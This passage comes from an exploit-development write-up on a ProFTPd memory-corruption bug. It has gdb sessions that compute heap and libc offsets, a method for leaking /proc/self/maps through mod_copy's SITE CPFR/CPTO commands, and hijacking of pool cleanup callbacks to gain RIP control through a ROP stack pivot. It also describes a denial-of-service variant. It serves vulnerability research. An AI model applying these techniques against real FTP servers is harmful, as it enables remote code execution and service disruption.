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gef➤
gef➤ p/x 0x56259ed1e770 - 0x000056259ed00000
$23 = 0x1e770
gef➤ p/x 0x56259ecee198 - 0x000056259ecbe000
$24 = 0x30198
gef➤ p/x 0x56259ecf51a8 - 0x000056259ecbe000
$25 = 0x371a8
gef➤
We now have the offsets we should use. I tried to find objects in the same
memory page, but had no luck.
gef➤ set $rp_mempage = (unsigned long int)resp_pool & 0xfffffffffffff000
gef➤ x/256a $rp_mempage
0x555555712000: 0x0 0x0
0x555555712010: 0x0 0x0
0x555555712020: 0x0 0x0
0x555555712030: 0x0 0x0
0x555555712040: 0x0 0x0
@lockedbyte gave me the idea to get the memory layout from the process
/proc/self/maps file. Now we can use SITE CPFR and SITE CPTO commands to
download this file. Basically we copy /proc/self/maps to a writable
directory and RETR it, then we reflect memory heap and libc base addresses
into our offsets and payload. The downside is that ProFTPd should have been
compiled with mod_copy. Also, chroot() protection should not be enforced by
the server, which makes /proc/ not accessible.
In the final exploit, we read from this file to calculate the offsets,
exactly how we did using vmmap command in gdb.
----[ 5.5 - Final RIP control methodology
Finally, combining everything we learned until now, this is the final
memory layout we should see:
gef➤ vmmap heap
Start End Perm Path
0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap]
0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap]
gef➤ set $start = 0x0000555555677000
gef➤ set $end = 0x00005555556c5000
gef➤ p/x (char *)resp_pool - $end
$32 = 0x236a0
gef➤ p/x (char *)gid_tab - $start
$33 = 0x3e6d8
gef➤ p/x (char *)session.curr_cmd_rec->notes - $start
$34 = 0x459c8
We will use the offsets show above in the exploit, because ASLR plays a
huge impact here. By using these memory objects, we may gain some control
over RIP.
src/pool.c:
854 static void run_cleanups(cleanup_t *c) {
855 while (c) {
856 if (c->plain_cleanup_cb) {
857 (*c->plain_cleanup_cb)(c->data);
858 }
859
860 c = c->next;
861 }
──────────────────────────────────────────────────────────────────────────
When run_cleanups() gets executed, we should see our token:
gef➤ p *c
$6 = {
data = 0x560f1919d6f8,
plain_cleanup_cb = 0x7711111111111177
child_cleanup_cb = 0x4141414141414141, # will be our stack
next = 0x9090909090909090
}
now in gdb: `break pool.c:856 if c == 0x771111111177`
The idea is to substitute this token with our first ROP gadget. To build
the our ROP chain, we will use the `ropper` tool to find gadgets.
Our first ROP gadget should point to <authnone_marshal+16> from libc,
which contains:
push rax
pop rsp
lea rsi,[rax+0x48]
mov rax,QWORD PTR [rdi+0x8]
jmp QWORD PTR [rax+0x18]
Check the full exploit for all the code.
--[ 6 - Other exploitation strategies
----[ 6.1 - Kill the Gibson: causing a DoS
There's a chance to cause a DoS (infinite loop) when we point the
resp_pool->last to $rsp + 0x60 and idx==6. I tested this and it's
simple to achieve.